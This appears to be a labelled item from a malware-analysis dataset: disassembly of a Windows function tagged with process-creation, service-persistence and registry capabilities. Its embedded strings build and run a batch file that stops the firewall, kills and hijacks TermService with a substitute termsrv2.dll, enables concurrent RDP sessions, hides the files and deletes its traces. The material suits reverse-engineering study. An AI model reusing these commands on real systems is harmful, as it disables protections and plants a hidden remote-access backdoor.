Function at 0x401890
Capabilities:
Create process on windows
Persist via windows service
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x4140f0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x6c
push ebx
call fcn.00401590
lea ecx, [esp + 0xc]
call fcn.0040df67
xor ebx, ebx
lea ecx, [esp + 0xc]
push ebx
push 0x1001
push str.c:windows_system32_ter.bat
mov dword [esp + 0x84], ebx
call fcn.0040e079
test eax, eax
je 0x401a90
push str.net_stop_sharedaccess_r_n
lea ecx, [esp + 8]
call fcn.0040ecb8
push str.tasklist__svc__c:windows_system32pid.txt_r_n
lea ecx, [esp + 8]
mov byte [esp + 0x7c], 1
call fcn.0040edfb
push str.FINDSTR__i__TermService__c:windows_system32pid.txt__c:windows_system32_result.txt_r_n
lea ecx, [esp + 8]
call fcn.0040edfb
push str.FOR__F__eol__tokens2_delims_____1_in__c:windows_system32_result.txt__do_ntsd__c_q__p___1_r_n
lea ecx, [esp + 8]
call fcn.0040edfb
push str.reg_add_HKLMSOFTWAREMicrosoftWindows___NTCurrentVersionWinlogon__v_KeepRASConnections__t_REG_SZ__d_1__f_r_n
lea ecx, [esp + 8]
call fcn.0040edfb
push str.reg_add_HKLMSYSTEMCurrentControlSetcontrol_terminal___serverLicensing___Core__v_EnableConcurrentSessions__t_REG_DWORD__d_00000001__f_r_n
lea ecx, [esp + 8]
call fcn.0040edfb
push str.reg_add_HKLMSYSTEMCurrentControlSetServicesTermServiceParameters__v_serviceDll__t_REG_EXPAND_SZ__d__SystemRoot__system32_termsrv2.dll__f_r_n
lea ecx, [esp + 8]
call fcn.0040edfb
push str.copy_c:windows_system32_termsrv2.dll_C:WINDOWS_system32dllcache_termsrv2.dll_r_n
lea ecx, [esp + 8]
call fcn.0040edfb
push str.attrib_h_s_r_C:WINDOWS_system32dllcache_termsrv2.dll_r_n
lea ecx, [esp + 8]
call fcn.0040edfb
push str.attrib_h_s_r_C:WINDOWS_system32_termsrv2.dll_r_n
lea ecx, [esp + 8]
call fcn.0040edfb
push str.shutdown__a_r_n
lea ecx, [esp + 8]
call fcn.0040edfb
push str.net_start_termservice
lea ecx, [esp + 8]
call fcn.0040edfb
mov eax, dword [esp + 4]
mov ecx, dword [eax - 8]
push ecx
push eax
lea ecx, [esp + 0x14]
call fcn.0040e1d0
lea ecx, [esp + 0xc]
call fcn.0040e294
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x2c]
push eax
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push str.c:windows_system32_ter.bat
push ebx
mov dword [esp + 0x54], 0x44
mov dword [esp + 0x58], ebx
mov dword [esp + 0x5c], ebx
mov dword [esp + 0x60], ebx
mov dword [esp + 0x80], 1
mov word [esp + 0x84], bx
mov word [esp + 0x86], bx
mov dword [esp + 0x88], ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp eax, ebx
je 0x401a79
mov edx, dword [esp + 0x20]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call esi
mov eax, dword [esp + 0x20]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [esp + 0x20]
lea ecx, [esp + 0xc]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov eax, dword [esp + 0x20]
push eax
call esi
push str.c:windows_system32_result.txt
call fcn.0040e3a5
push str.c:windows_system32pid.txt
call fcn.0040e3a5
push str.c:windows_system32_ter.bat
call fcn.0040e3a5
lea ecx, [esp + 8]
mov byte [esp + 0x7c], bl
call fcn.0040ec4a
lea ecx, [esp + 0x10]
mov dword [esp + 0x7c], 0xffffffff
call fcn.0040dfbc
pop esi
pop ebx
mov ecx, dword [esp + 0x6c]
mov dword fs:[0], ecx
add esp, 0x78
ret
push str.c:windows_system32_ter.bat
call fcn.0040e3a5
lea ecx, [esp + 4]
mov byte [esp + 0x78], bl
call fcn.0040ec4a
lea ecx, [esp + 0xc]
mov dword [esp + 0x78], 0xffffffff
call fcn.0040dfbc
mov ecx, dword [esp + 0x70]
pop ebx
mov dword fs:[0], ecx
add esp, 0x78
ret